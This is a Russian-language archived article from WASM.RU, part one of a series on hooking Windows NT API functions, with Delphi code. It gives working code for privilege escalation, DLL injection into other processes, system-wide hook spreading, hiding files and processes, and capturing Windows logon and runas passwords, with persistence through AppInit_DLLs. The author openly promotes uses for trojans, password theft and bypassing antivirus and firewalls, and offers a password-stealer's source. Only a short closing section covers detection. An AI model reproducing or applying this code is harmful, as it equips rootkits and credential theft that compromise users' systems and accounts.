Перехват API функций в Windows NT (часть 1). Основы перехвата. — Архив WASM.RU
Предисловие редакции WASM.RU:
В данном цикле статей используется язык Дельфи (ахтунг!, детям и слабонервным просьба соблюдать необходимые меры предосторожности ^_^), поэтому мы долго колебались относительно того, стоит ли размещать его на сайте, однако учитывая, что материал может представлять интерес для многих посетителей, мы всё же пошли на это. Тем не менее просьба потенциальным авторам избегать проявлений паскальности в своих будущих статьях ^_^.
Предисловие:
В настоящее время широчайшую распостраненность поличили операционные системы семейства Windows NT/20000/XP. Они широко используются не только как домашние системы, но и в качестве серверов. Эта линейка ОС отличается неплохой защищенностью от вредоносных программ, а так-же для нее существует большое количество дополнительных систем безопасности (различные антивирусы, фаерволлы). Установив антивирус и фаерволл многие пользователи думают, что они стопроцентно защищены, и даже большинство программистов считают, что достаточно почаще проверять свой компьютер на подозрительные вещи (автозагрузка, процессы и.т.д.) и никокая вредоносная программа к ним не сможет проникнуть. В большинстве случаев это действительно так, 99% троянов до сих пор загружаются через HKLM/Run, и для скрытности имеют названия вроде WinLoader32.exe. Глядя на это мне просто смешно становиться. Это дело нужно срочно исправлять, поэтому я написал этот цикл из трех статей, в которых описываются методы перехвата API функций в системах линейки Windows NT на всех возможных уровнях.
Эта технология дает нам огромные возможности. Можно например легко скрыть присутствие трояна в системе так, что даже тшательная проверка компьютера не даст ничего. Можно легко получить пароли на вход в систему. Можно уничтожить антивирусы и обойти фаерволлы. Все это конкретные применения этой технологии (они подробно описаны в статьях), но этому легко придумать и множество других применений (создание систем безопасности, различные эмуляторы). Можно на этой основе снимать триальные ограничения серийно, с многих программ использующих стандартные способы защиты (таких 99%). И при всех этих возможностях сам метод очень прост. Для того, чтобы его понять нужна всего-лишь капля мозгов (не больше).
Основной язык для приводимых фрагментов кода - Delphi, но материал актуален и для любого другого языка (С, С++, Ассемблер и.т.д.). Единственное условие - язык должен быть 100% компилируемым, а также поддерживать работу с указателями и ассемблерные вставки. Так что любителям VB скорее всего придется обломиться. Для полного понимания материала статей нужно таже хотя-бы немножко знать ассемблер и С++.
Теория:
Как известно, OC Windows NT целиком построена на системе DLL (динамически загружаемых библиотек). Система предоставляет приложениям сервисные API функции, с помощью которых оно может взаимодействовать с системой. Перехват API функций позволяет обойти многие ограничения системы и делать с ней практически что угодно.
В этой статье я приведу некоторые методы программирования перехвата API, а также примеры его практического применения. Предполагается, что читатель знаком с программированием в Delphi, работой загрузчика Windows (загрузка и вызов функций DLL), а также имеет некоторые представления о программировании на ассемблере.API функции представляют и себя ничто иное, как функции в системных DLL. Любой процесс в системе обязательно имеет в своем адресном пространстве Ntdll.dll, где располагаются функции Native API - базовые функции низкоуровневой работы с системой, функции Kernel32.dll являются переходниками к более мощным функциям Ntdll, следовательно целесообразно будет перехватывать именно функции Native API.
Проблема в том, что Native API функции не документированы в SDK, но узнать модель их вызова можно дизассемблируя Kernel32.dll. Нельзя утверждать, что адреса функций в системных библиотеках не изменяются в зависимости от версии ОС, ее сборки либо даже конкретной ситуации. Это происходит из-за того, что предпочитаемая база образа библиотеки (dll preferred imagebase) является константой, которую можно изменять при компиляции. Более того, совсем не обязательно, что dll будет загружена именно по предпочитаемому адресу, - этого может не произойти в результате коллизии с другими модулями, динамически выделенной памятью и т.п. Поэтому статический импорт функций происходит по имени модуля и имени функции (либо ее номера - ординала), предоставляемой этим модулем. Загрузчик PE файла анализирует его таблицу импорта и определяет адреса функций, им импортируемых. В случае, если в таблице импорта указана библиотека, не присутствующая в контексте загружаемой программы, происходит ее отображение в требуемый контекст, настройка ее образа и ситуация рекурсивно повторяется. В результате в требуемом месте определенной секции PE файла (имеющей, как минимум, атрибуты "readable" и "initialized data") заполняется массив адресов импортируемых функций. В процессе работы каждый модуль обращается к своему массиву для определения точки входа в какую-либо функцию.
Следовательно существуют два основных метода перехвата API вызовов: изменение точки входа в таблице импорта и изменение начальных байт самой функции (сплайсинг функции).
Изменение таблиц импорта:
Этот метод выглядит так. Определяется точка входа перехватываемой функции. Составляется список модулей, в настоящий момент загруженных в контекст требуемого процесса. Затем перебираются дескрипторы импорта этих модулей в поиске адресов перехватываемой функции. В случае совпадения этот адрес изменяется на адрес нашего обработчика.
К достоинствам данного метода можно отнести то, что код перехватываемой функции не изменяется, что обеспечивает корректную работу в многопоточном приложении. Недостаток этого метода в том, что приложения могут сохранить адрес функции до перехвата, и затем вызывать её минуя обработчик. Также можно получить адрес функции используя GetProcAddress из Kernel32.dll. Из - за этого недостатка я считаю этот метод бесперспективным в применении и подробно рассматривать его не буду.
Сплайсинг функции:
Этот метод состоит в следующем: определяется адрес перехватываемой функции, и первые 5 байт её начала заменяются на длинный jmp переход по адресу обработчика перехвата.
Если необходимо вызывать перехватываемую функцию, то перед заменой необходимо сохранить её начальные байты и перед вызовом восстанавливать их.
Недостаток данного метода состоит в том, что если после восстановления начала функции произошло переключение контекста на другой поток приложения, то он сможет вызвать функцию минуя перехватчик. Этот недостаток можно устранить останавливая все побочные потоки приложения перед вызовом и запуская после вызова.
Внедрение кода и создание удаленных потоков:
Перехватывать API находящиеся в чужом процессе весьма неудобно, наиболее удобным способом будет внедрение кода перехватчика в процесс и запуск его на исполнение.
Для реализации этого необходимо открыть процесс с флагами PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or PROCESS_VM_OPERATION. Для получения доступа к системным процессам нам понадобиться привилегия SeDebugPrivilege, поэтому перед установкой перехвата желательно активировать эту привилегию.
Процедура активации SeDebugPrivilege:Код (Text):
function EnableDebugPrivilege():Boolean; var hToken: dword; SeDebugNameValue: Int64; tkp: TOKEN_PRIVILEGES; ReturnLength: dword; begin Result:=false; //Добавляем привилегию SeDebugPrivilege //Получаем токен нашего процесса OpenProcessToken(INVALID_HANDLE_VALUE, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken); //Получаем LUID привилегии if not LookupPrivilegeValue(nil, 'SeDebugPrivilege', SeDebugNameValue) then begin CloseHandle(hToken); exit; end; tkp.PrivilegeCount := 1; tkp.Privileges[0].Luid := SeDebugNameValue; tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED; //Добавляем привилегию к процессу AdjustTokenPrivileges(hToken, false, tkp, SizeOf(TOKEN_PRIVILEGES), tkp, ReturnLength); if GetLastError() ERROR_SUCCESS then exit; Result:=true; end;Следуюший код осуществляет загрузку в заданый процесс динамической библиотеки. Испольуется метод внедрения кода и создания удаленных потоков.
Код (Text):
{ Внедрение Dll в процесс } Function InjectDll(Process: dword; ModulePath: PChar): boolean; var Memory:pointer; Code: dword; BytesWritten: dword; ThreadId: dword; hThread: dword; hKernel32: dword; Inject: packed record PushCommand:byte; PushArgument:DWORD; CallCommand:WORD; CallAddr:DWORD; PushExitThread:byte; ExitThreadArg:dword; CallExitThread:word; CallExitThreadAddr:DWord; AddrLoadLibrary:pointer; AddrExitThread:pointer; LibraryName:array[0..MAX_PATH] of char; end; begin Result := false; Memory := VirtualAllocEx(Process, nil, sizeof(Inject), MEM_COMMIT, PAGE_EXECUTE_READWRITE); if Memory = nil then Exit; Code := dword(Memory); //инициализация внедряемого кода: Inject.PushCommand := $68; inject.PushArgument := code + $1E; inject.CallCommand := $15FF; inject.CallAddr := code + $16; inject.PushExitThread := $68; inject.ExitThreadArg := 0; inject.CallExitThread := $15FF; inject.CallExitThreadAddr := code + $1A; hKernel32 := GetModuleHandle('kernel32.dll'); inject.AddrLoadLibrary := GetProcAddress(hKernel32, 'LoadLibraryA'); inject.AddrExitThread := GetProcAddress(hKernel32, 'ExitThread'); lstrcpy(@inject.LibraryName, ModulePath); //записать машинный код по зарезервированному адресу WriteProcessMemory(Process, Memory, @inject, sizeof(inject), BytesWritten); //выполнить машинный код hThread := CreateRemoteThread(Process, nil, 0, Memory, nil, 0, ThreadId); if hThread = 0 then Exit; CloseHandle(hThread); Result := True; end;Обратим внимание на следующую особенность: системные библиотеки Kernel32.dll и Ntdll.dll загружаются во всех процессах по одинаковому адресу, что использовано для инициализации внедряемого кода.
После загрузки DLL в память процесса, будет выполнена её точка входа с аргументом DLL_PROCESS_ATTACH. Загруженная библиотека может после этого установить перехват API функций методом сплайсинга.
Рассмотрим пример библиотеки осуществляющей перехват CreateProcessA:
Код (Text):
library ApiHk; uses TLHelp32, windows; type fr_jmp = packed record PuhsOp: byte; PushArg: pointer; RetOp: byte; end; OldCode = packed record One: dword; two: word; end; var AdrCreateProcessA: pointer; OldCrp: OldCode; JmpCrProcA: far_jmp; Function OpenThread(dwDesiredAccess: dword; bInheritHandle: bool; dwThreadId: dword):dword; stdcall; external 'kernel32.dll'; Procedure StopThreads; var h, CurrTh, ThrHandle, CurrPr: dword; Thread: TThreadEntry32; begin CurrTh := GetCurrentThreadId; CurrPr := GetCurrentProcessId; h := CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); if h INVALID_HANDLE_VALUE then begin Thread.dwSize := SizeOf(TThreadEntry32); if Thread32First(h, Thread) then repeat if (Thread.th32ThreadID CurrTh) and (Thread.th32OwnerProcessID = CurrPr) then begin ThrHandle := OpenThread(THREAD_SUSPEND_RESUME, false, Thread.th32ThreadID); if ThrHandle>0 then begin SuspendThread(ThrHandle); CloseHandle(ThrHandle); end; end; until not Thread32Next(h, Thread); CloseHandle(h); end; end; Procedure RunThreads; var h, CurrTh, ThrHandle, CurrPr: dword; Thread: TThreadEntry32; begin CurrTh := GetCurrentThreadId; CurrPr := GetCurrentProcessId; h := CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); if h INVALID_HANDLE_VALUE then begin Thread.dwSize := SizeOf(TThreadEntry32); if Thread32First(h, Thread) then repeat if (Thread.th32ThreadID CurrTh) and (Thread.th32OwnerProcessID = CurrPr) then begin ThrHandle := OpenThread(THREAD_SUSPEND_RESUME, false, Thread.th32ThreadID); if ThrHandle>0 then begin ResumeThread(ThrHandle); CloseHandle(ThrHandle); end; end; until not Thread32Next(h, Thread); CloseHandle(h); end; end; function TrueCreateProcessA(lpApplicationName: PChar; lpCommandLine: PChar; lpProcessAttributes, lpThreadAttributes: PSecurityAttributes; bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer; lpCurrentDirectory: PChar; const lpStartupInfo: TStartupInfo; var lpProcessInformation: TProcessInformation): BOOL; begin //снятие перехвата WriteProcessMemory(CurrProc, AdrCreateProcessA, @OldCrp, SizeOf(OldCode), Writen); //вызов функции result := CreateProcess(lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags or CREATE_SUSPENDED, lpEnvironment, nil, lpStartupInfo, lpProcessInformation); //установка перехвата WriteProcessMemory(CurrProc, AdrCreateProcessA, @JmpCrProcA, SizeOf(far_jmp), Writen); end; function NewCreateProcessA(lpApplicationName: PChar; lpCommandLine: PChar; lpProcessAttributes, lpThreadAttributes: PSecurityAttributes; bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer; lpCurrentDirectory: PChar; const lpStartupInfo: TStartupInfo; var lpProcessInformation: TProcessInformation): BOOL; stdcall; begin //наш обработчик CreateProcessA end; Procedure SetHook; var HKernel32, HUser32: dword; begin CurrProc := GetCurrentProcess; //получение адреса CreateProcessA AdrCreateProcessA := GetProcAddress(GetModuleHandle('kernel32.dll'), 'CreateProcessA'); //инициализация структуры перехвата CreateProcessA JmpCrProcA.PuhsOp := $68; JmpCrProcA.PushArg := @NewCreateProcessA; JmpCrProcA.RetOp := $C3; //сохраняем старое начало функции ReadProcessMemory(CurrProc, AdrCreateProcessA, @OldCrp, SizeOf(OldCode), bw); //записываем новое начало CreateProcessA WriteProcessMemory(CurrProc, AdrCreateProcessA, @JmpCrProcA, SizeOf(far_jmp), Writen); end; begin //останавливаем побочные нити StopThreads; //устанавливаем перехват SetHook; //запускаем нити RunThreads; end.Следует обратить внимание на процедуры StopThreads и RunThreads, они соответственно останавливают и запускают все потоки кроме того, который их вызывает.
Перед установкой API перехвата необходимо останавливать все побочные потоки, иначе процесс записи может быть прерван, и функция вызвана другим потоком, что приведет к ошибке доступа к памяти и аварийному завершению приложения. Этот эффект проявляется не всегда, но может стать причиной нестабильной работы системы, поэтому не следует пренебрегать этим моментом.
Еще один важный момент: при получении адресов перехватываемых функций следует использовать GetModuleHandleA в том случае, если точно известно, что модуль загружен в адресное пространство текущего процесса, иначе следует испольовать LoadLibrary. Гарантировано будут загружены модули Ntdll.dll и те, которые статически импортируются вашей DLL.
Не следует лишний раз использовать LoadLibrary, поскольку это изменяет счетчик загрузок библиотеки, и мешает её корректной выгрузке, когда она не нужна. В крайнем случае можно использовать следующий код:Код (Text):
Handle := GetModuleHandleA('Library.dll'); IF Handle = 0 then Handle := LoadLibrary('Library.dll');В вышеприведенном примере присутствует функция TrueCreateProcessA, её следует вызывать, если необходимо выполнить настоящий вызов CreateProcessA. Также следует обратить внимание на один важный момент: при написании функции заменяющей перехватываемую следует установить модель вызова аналогичную модели вызова перехватываемой функции, для WinAPI это будет stdcall.
Глобализация:
Допустим необходимо выполнить перехват API не только в текущем процессе, но и в всех последующих запущенных процессах.
Это можно сделать с помощью получения списка процессов и заражения новых процессов, но этот метод далеко не идеален, так как процесс до заражения сможет обращаться к оригинальной функции, также такой поиск приводит к лишнему расходованию системных ресурсов.
Из других недостатков данного метода можно отметить то, что глобализатор будет привязан к одному конкретному процессу, а значит, при его завершении весь перехват накроется.
Другой метод состоит в том, чтобы перехватывать функции создания процессов и внедрять обработчик в созданный процесс еще до выполнения его кода.
Процесс может быть создан множеством функций: CreateProcessA, CreateProcessW, WinExec, ShellExecute, NtCreateProcess. При создании нового процесса обязательно происходит вызов функции ZwCreateThread.
Код (Text):
Function ZwCreateThread(ThreadHandle: pdword; DesiredAccess: ACCESS_MASK; ObjectAttributes: pointer; ProcessHandle: THandle; ClientId: PClientID; ThreadContext: pointer; UserStack: pointer; CreateSuspended: boolean):NTStatus; stdcall;external 'ntdll.dll';Нас интересует структура ClientId:
Код (Text):
type PClientID = ^TClientID; TClientID = packed record UniqueProcess:cardinal; UniqueThread:cardinal; end;Поле UniqueProcess содержит id процесса, которому принадлежит создаваемая нить.
Наиболее очевидным будет следующий метод:
Перехватываем ZwCreateThread, cверяем UniqueProcess с id текущего процесса, и если они различаются, то внедряем перехватчик в новый процесс. Но этот метод работать не будет, так как в момент создания основной нити процесс еще не проинициализирован и CreateRemoteThread возвращает ошибку.
Поэтому при обнаружении создания нити в новом процессе мы просто установим флаг NewProcess который будем использовать далее.
Обработчик ZwCreateThread будет выглядеть так:
Код (Text):
Function NewZwCreateThread(ThreadHandle: PHANDLE; DesiredAccess: ACCESS_MASK; ObjectAttributes: pointer; ProcessHandle: THandle; ClientId: PClientID; ThreadContext: pointer; UserStack: pointer; CreateSuspended: boolean); stdcall; begin //снятие перехвата<BR> WriteProcessMemory(CurrProc, AdrZwCreateThread, @OldZwCreateThread, SizeOf(OldCode), Writen); //вызываем функцию с флагом CREATE_SUSPENDED, чтобы нить не запустилась до установки перехвата Result := ZwCreateThread(ThreadHandle, DesiredAccess, ObjectAttributes, ProcessHandle, ClientId, ThreadContext, UserStack, true); //проверяем, принадлежит ли нить к текущему процессу if CurrProcId ClientId.UniqueProcess then //устанавливаем флаг создания нового процесса NewProcess := true; //если надо, то запускаем нить if not CreateSuspended then ResumeThread(ThreadHandle^); //установка перехвата WriteProcessMemory(CurrProc, AdrZwCreateThread, @JmpZwCreateThread, SizeOf(far_jmp), Writen); end;После инициализации созданного процесса происходит запуск его основной нити с помощью ZwResumeThread.
Код (Text):
Function ZwResumeThread(ThreadHandle: dword; PreviousSuspendCount: pdword): NTStatus; stdcall; external 'ntdll.dll';Перехватив эту функцию мы будем получать хэндлы всех запускаемых нитей.
Нам необходимо по хэндлу нити получить id процесса владеющего этой нитью. Это делает функция ZwQueryInformationThread.Код (Text):
Function ZwQueryInformationThread(ThreadHandle: dword; ThreadInformationClass: dword; ThreadInformation: pointer; ThreadInformationLength: dword; ReturnLength: pdword):NTStatus; stdcall;external 'ntdll.dll';ThreadInformationClass - тип получаемой информации.
В нашем случае = THREAD_BASIC_INFO = 0;ThreadInformation - указатель на структуру, куда будет записана информация о нити.
В нашем случае это будет структура THREAD_BASIC_INFORMATION:Код (Text):
PTHREAD_BASIC_INFORMATION = ^THREAD_BASIC_INFORMATION; THREAD_BASIC_INFORMATION = packed record ExitStatus: BOOL; TebBaseAddress: pointer; ClientId: TClientID; AffinityMask: DWORD; Priority: dword; BasePriority: dword; end;ClientId.UniqueProcess будет содержать id процесса владеющего нитью.
Если этот процесс отличается от текущего и установлен флаг NewProcess, то мы должны внедрить перехватчик в созданный процесс и сбросить флаг NewProcess.
Обработчик функции ZwResumeThread будет выглядеть примерно так:
Код (Text):
function NewZwResumeThread(ThreadHandle: THandle; PreviousSuspendCount: pdword); stdcall; var ThreadInfo: THREAD_BASIC_INFORMATION; Handle: DWORD; begin //снимаем перехват WriteProcessMemory(CurrProc, AdrZwResumeThread, @OldZwResumeThread, SizeOf(OldCode), Writen); //получаю информацию о процессе владеющем этой нитью ZwQueryInformationThread(ThreadHandle, THREAD_BASIC_INFO, @ThreadInfo, SizeOf(THREAD_BASIC_INFORMATION), nil); if (ThreadInfo.ClientId.UniqueProcess CurrProcId) and NewProcess then begin //заражаем новый процесс<BR> Handle := OpenProcess(PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or PROCESS_VM_OPERATION, FALSE, ThreadInfo.ClientId.UniqueProcess); InjectDll(Handle); CloseHandle(Handle); NewProcess := false; end; //вызываем оригинальную функцию Result := ZwResumeThread(ThreadHandle, PreviousSuspendCount); //устанавливаем перехват WriteProcessMemory(CurrProc, AdrZwResumeThread, @JmpZwResumeThread, SizeOf(far_jmp), Writen); end;Таким образом решается проблема глобализации обработчика.
Практическое применение:
Теперь кратко поговорим о возможных применениях перехвата API:
Широчайшее применение подобная технология может найти в троянских программах.
Например можно создать невидимый процесс, скрыть какие-либо файлы на диске, скрыть записи в реестре и скрыть сетевые соединения.
Можно легко обойти персональные фаерволлы. Можно делать с системой все, что угодно.
К примеру, для скрытия файлов на диске нам нужно перехватить функцию ZwQueryDirectoryFile из ntdll.dll. Она является базовой для всех API перечисления файлов.
Рассмотрим прототип этой функции:
Код (Text):
Function ZwQueryDirectoryFile(FileHandle: dword; Event: dword; ApcRoutine: pointer; ApcContext: pointer; IoStatusBlock: pointer; FileInformation: pointer; FileInformationLength: dword; FileInformationClass: dword; ReturnSingleEntry: bool; FileName: PUnicodeString; RestartScan: bool): NTStatus; stdcall; external 'ntdll.dll';Для нас важны параметры FileHandle, FileInformation и FileInformationClass.
FileHandle - хэндл объекта директории, который может быть получен с использованием функции ZwOpenFile.
FileInformation - указатель на выделенную память, куда функция запишет необходимые данные.
FileInformationClass определяет тип записей в FileInformation.
FileInformationClass перечислимого типа, но нам необходимы только четыре его значения, используемые для просмотра содержимого директории.Код (Text):
const FileDirectoryInformation = 1; FileFullDirectoryInformation = 2; FileBothDirectoryInformation = 3; FileNamesInformation = 12;Структура записи в FileInformation для FileDirectoryInformation:
Код (Text):
type FILE_DIRECTORY_INFORMATION = packed record NextEntryOffset: ULONG; Unknown: ULONG; CreationTime, LastAccessTime, LastWriteTime, ChangeTime, EndOfFile, AllocationSize: int64; FileAttributes: ULONG; FileNameLength: ULONG; FileName: PWideChar; end;
для FileFullDirectoryInformation:
Код (Text):
type FILE_FULL_DIRECTORY_INFORMATION = packed record NextEntryOffset: ULONG; Unknown: ULONG; CreationTime, LastAccessTime, LastWriteTime, ChangeTime, EndOfFile, AllocationSize: int64; FileAttributes: ULONG; FileNameLength: ULONG; EaInformationLength: ULONG; FileName: PWideChar; end;
для FileBothDirectoryInformation:
Код (Text):
type FILE_BOTH_DIRECTORY_INFORMATION = packed record NextEntryOffset: ULONG; Unknown: ULONG; CreationTime, LastAccessTime, LastWriteTime, ChangeTime, EndOfFile, AllocationSize: int64; FileAttributes: ULONG; FileNameLength: ULONG; EaInformationLength: ULONG; AlternateNameLength: ULONG; AlternateName[0..11]: array of WideChar; FileName: PWideChar; end;
и для FileNamesInformation:
Код (Text):
type FILE_NAMES_INFORMATION = packed record NextEntryOffset: ULONG; Unknown: ULONG; FileNameLength: ULONG; FileName: PWideChar; end;Функция записывает набор этих структур в буфер FileInformation.
Во всех этих типах структур для нас важны только три переменных:
NextEntryOffset - размер данного элемента списка.
Первый элемент расположен по адресу FileInformation + 0, а второй элемент по адресу FileInformation + NextEntryOffset первого элемента. У последнего элемента поле NextEntryOffset содержит нуль.
FileName - это полное имя файла.
FileNameLength - это длина имени файла
Для скрытия файла, необходимо сравнить имя каждой возвращаемой записи и имя файла, который мы хотим скрыть.
Если мы хотим скрыть первую запись, нужно сдвинуть следующие за ней структуры на размер первой записи. Это приведет к тому, что первая запись будет затерта. Если мы хотим скрыть другую запись, мы можем просто изменить значение NextEntryOffset предыдущей записи. Новое значение NextEntryOffset будет нуль, если мы хотим скрыть последнюю запись, иначе значение будет суммой полей NextEntryOffset записи, которую мы хотим скрыть и предыдущей записи. Затем необходимо изменить значение поля Unknown предыдущей записи, которое предоставляет индекс для последующего поиска. Значение поля Unknown предыдущей записи должно равняться значению поля Unknown записи, которую мы хотим скрыть.
Если нет ни одной записи, которую можно видеть, мы должны вернуть ошибку STATUS_NO_SUCH_FILE.Код (Text):
const STATUS_NO_SUCH_FILE = $C000000F;Скрытие процессов:
Список процессов можно получить различными методами: EnumProcesses, CreateToolHelp32Snapshot и.др., но все эти API обращаются к базовой функции ZwQuerySystemInformation.
Рассмотрим прототип этой функции:Код (Text):
Function ZwQuerySystemInformation(ASystemInformationClass: dword; ASystemInformation: Pointer; ASystemInformationLength: dword; AReturnLength:PCardinal): NTStatus; stdcall;external 'ntdll.dll';SystemInformationClass указывает тип информации, которую мы хотим получить, SystemInformation - это указатель на результирующий буфер, SystemInformationLength - размер этого буфера и ReturnLength - количество записанных байт.
Эта функция может возвращать различные классы информации, каждый из которых определен своей структурой. Вот список классов возвращаемых функцией:Код (Text):
const // SYSTEM_INFORMATION_CLASS SystemBasicInformation = 0; SystemProcessorInformation = 1; SystemPerformanceInformation = 2; SystemTimeOfDayInformation = 3; SystemNotImplemented1 = 4; SystemProcessesAndThreadsInformation = 5; SystemCallCounts = 6; SystemConfigurationInformation = 7; SystemProcessorTimes = 8; SystemGlobalFlag = 9; SystemNotImplemented2 = 10; SystemModuleInformation = 11; SystemLockInformation = 12; SystemNotImplemented3 = 13; SystemNotImplemented4 = 14; SystemNotImplemented5 = 15; SystemHandleInformation = 16; SystemObjectInformation = 17; SystemPagefileInformation = 18; SystemInstructionEmulationCounts = 19; SystemInvalidInfoClass = 20; SystemCacheInformation = 21; SystemPoolTagInformation = 22; SystemProcessorStatistics = 23; SystemDpcInformation = 24; SystemNotImplemented6 = 25; SystemLoadImage = 26; SystemUnloadImage = 27; SystemTimeAdjustment = 28; SystemNotImplemented7 = 29; SystemNotImplemented8 = 30; SystemNotImplemented9 = 31; SystemCrashDumpInformation = 32; SystemExceptionInformation = 33; SystemCrashDumpStateInformation = 34; SystemKernelDebuggerInformation = 35; SystemContextSwitchInformation = 36; SystemRegistryQuotaInformation = 37; SystemLoadAndCallImage = 38; SystemPrioritySeparation = 39; SystemNotImplemented10 = 40; SystemNotImplemented11 = 41; SystemInvalidInfoClass2 = 42; SystemInvalidInfoClass3 = 43; SystemTimeZoneInformation = 44; SystemLookasideInformation = 45; SystemSetTimeSlipEvent = 46; SystemCreateSession = 47; SystemDeleteSession = 48; SystemInvalidInfoClass4 = 49; SystemRangeStartInformation = 50; SystemVerifierInformation = 51; SystemAddVerifier = 52; SystemSessionProcessesInformation = 53;Для перечисления запущенных процессов мы устанавливаем в параметр SystemInformationClass в значение SystemProcessesAndThreadsInformation.
Возвращаемая структура в буфере SystemInformation:Код (Text):
PSYSTEM_PROCESSES = ^SYSTEM_PROCESSES SYSTEM_PROCESSES = packed record NextEntryDelta, ThreadCount: dword; Reserved1 : array [0..5] of dword; CreateTime, UserTime, KernelTime: LARGE_INTEGER; ProcessName: TUnicodeString; BasePriority: dword; ProcessId, InheritedFromProcessId, HandleCount: dword; Reserved2: array [0..1] of dword; VmCounters: VM_COUNTERS; IoCounters: IO_COUNTERS; // Windows 2000 only Threads: array [0..0] of SYSTEM_THREADS; end;Скрытие процессов похоже на скрытие файлов. Мы должны изменить NextEntryDelta записи предшествующей записи скрываемого процесса. Обычно не требуется скрывать первую запись, т.к. это процесс Idle.
Простой обработчик ZwQuerySystemInformation скрывающий процесс winlogon.exe будет выглядеть так:Код (Text):
Function NewZwQuerySystemInformation(ASystemInformationClass: dword; ASystemInformation: Pointer; ASystemInformationLength: dword; AReturnLength: PCardinal): NTStatus; stdcall; var Info, Prev: PSYSTEM_PROCESSES; begin Result := TrueZwQuerySystemInformation(ASystemInformationClass, ASystemInformation, ASystemInformationLength, AReturnLength); if (ASystemInformationClass = SystemProcessesAndThreadsInformation) and (Result = STATUS_SUCCESS) then begin Info := ASystemInformation; while(Info^.NextEntryDelta > 0) do begin Prev := Info; Info := pointer(dword(Info) + Info^.NextEntryDelta); if lstrcmpiw(Info^.ProcessName.Buffer, 'winlogon.exe') = 0 then Prev^.NextEntryDelta := Prev^.NextEntryDelta + Info^.NextEntryDelta; end; end; end;В общем, мы кратко рассмотрели способ скрытия файлов и процессов.
В завершении, приведу пример программы перехватывающей пароли на вход в Windows и при запуске программ от имени пользователя.
Для начала немного теории: при входе пользователя в систему процесс Winlogon.exe проводит его авторизацию через функции библиотеки msgina.dll. Конкретно, нас интересует функция WlxLoggedOutSAS вызывающаяся при входе пользователя в систему.
Вот прототип этой функции:Код (Text):
WlxLoggedOutSAS: Function(pWlxContext: pointer; dwSasType: dword; pAuthenticationId: pointer; pLogonSid: pointer; pdwOptions, phToken: PDWORD; pMprNotifyInfo: PWLX_MPR_NOTIFY_INFO; pProfile:pointer): dword; stdcall;Функции передается структура WLX_MPR_NOTIFY_INFO содержащая в себе имя пользователя, его пароль и домен.
Код (Text):
PWLX_MPR_NOTIFY_INFO = ^WLX_MPR_NOTIFY_INFO; WLX_MPR_NOTIFY_INFO = packed record pszUserName: PWideChar; pszDomain: PWideChar; pszPassword: PWideChar; pszOldPassword: PWideChar; end;Мы будем перехватывать функцию WlxLoggedOutSAS в процессе Winlogon.exe и сохранять полученные пароли в файле.
В других процессах мы будем перехватывать LogonUserA, LogonUserW и CreateProcessWithLogonW - эти функции используются для запуска процессов от имени другого пользователя.Код (Text):
function LogonUserA(lpszUsername, lpszDomain, lpszPassword: PAnsiChar; dwLogonType, dwLogonProvider: DWORD; var phToken: THandle): BOOL; stdcall; external 'advapi32.dll'; function LogonUserW(lpszUsername, lpszDomain, lpszPassword: PWideChar; dwLogonType, dwLogonProvider: DWORD; var phToken: THandle): BOOL; stdcall; external 'advapi32.dll'; Function CreateProcessWithLogonW(const lpUsername: PWideChar; const lpDomain: PWideChar; const lpPassword: PWideChar; dwLogonFlags: DWORD; const lpApplicationName: PWideChar; lpCommandLine: PWideChar; dwCreationFlags: DWORD; lpEnvironment: Pointer; const lpCurrentDirectory: PWideChar; lpStartupInfo: PStartupInfo; lpProcessInfo: PProcessInformation): Boolean; stdcall; external 'advapi32.dll';Перехват этих функций поместим в DLL, глобализатор делать не будем, просто пропишем нашу библиотеку в раздел реестра
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
параметр AppInit_DLLs, тип REG_SZ
Тогда эта библиотека будет автоматически подгружена к любому приложению, которое имеет в своей памяти user32.dll.
В приложении к статье вы можете скачать полные исходники программы FuckLogon, которая перехватывает пароли данным методом.
Защита:
Описанный мной метод перехвата API функций может быть использован для написания чрезвычайно опасных вредоносных программ.
Во избежание этого, я приведу здесь разработанный мной метод поиска скрытых процессов.
Метод состоит в том, что список процессов получается не с помощью API функций, а непосредственно через системные вызовы ядра Windows.
Недостаток данного метода состоит в том, что интерфейсы ядра не документированы, и узнать их можно только дизассемблируя системные библиотеки.
Также функции ядра могут различаться в разных версиях Windows, поэтому работоспособность этого метода везде не гарантируется.
Приведенный ниже код получает список процессов с помощью вызова интерфейсов ядра:Код (Text):
Procedure GetProcessList(var NameList, HandleList: TList); asm push ebp mov ebp, esp push ecx push ebx push esi push edi mov esi, edx mov ebx,eax push $05 call @GetInfoTable jmp @InfoTableEnd @GetInfoTable: push ebp mov ebp, esp sub esp, $04h push esi push 0 pop dword ptr [ebp - $04] mov esi, $4000 @GetInfoTable_doublespace: shl esi, $01 push esi push 0 call LocalAlloc test eax, eax jz @GetInfoTable_failed mov [ebp-$04], eax push 0 push esi push eax push dword ptr [ebp + $08] call @OpenKernelData jmp @Cont @OpenKernelData: mov eax, $AD call @SystemCall ret $10 @SystemCall: mov edx, esp sysenter @Cont: test eax, $C0000000 jz @GetInfoTable_end cmp eax, $C0000004 jnz @GetInfoTable_failed push dword ptr [ebp - $04] call LocalFree jmp @GetInfoTable_doublespace @GetInfoTable_failed: push 0 pop dword ptr [ebp - $04] @GetInfoTable_end: mov eax,[ebp - $04] pop esi leave ret $04 @InfoTableEnd: mov [edi], eax @FindData: mov edx, [eax + $3C] mov eax, [ebx] call TList.Add //NameList.Add mov eax, [edi] lea edx, [eax + $44] mov eax, [esi] call TList.Add //HandleList.Add mov eax, [edi] cmp [eax], 0 jz @EndData add eax, [eax] mov [edi], eax jmp @FindData @EndData: pop edi pop esi pop ebx pop ecx pop ebp ret end;NameList будет содержать указатели PWideChar на имена процессов, а HandleList на их PID. Данный код проверен в Windows XP sp0,sp1 и sp2. В Windows 2000 он работать не будет, так как интерфейс системных вызовов там сильно отличается от XP. Но от перехвата API в ядре этот метод не спасет.
